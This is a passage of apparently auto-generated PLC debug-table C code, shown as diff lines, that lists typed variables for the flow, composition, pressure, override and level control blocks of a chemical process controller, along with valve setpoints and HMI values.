+{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, 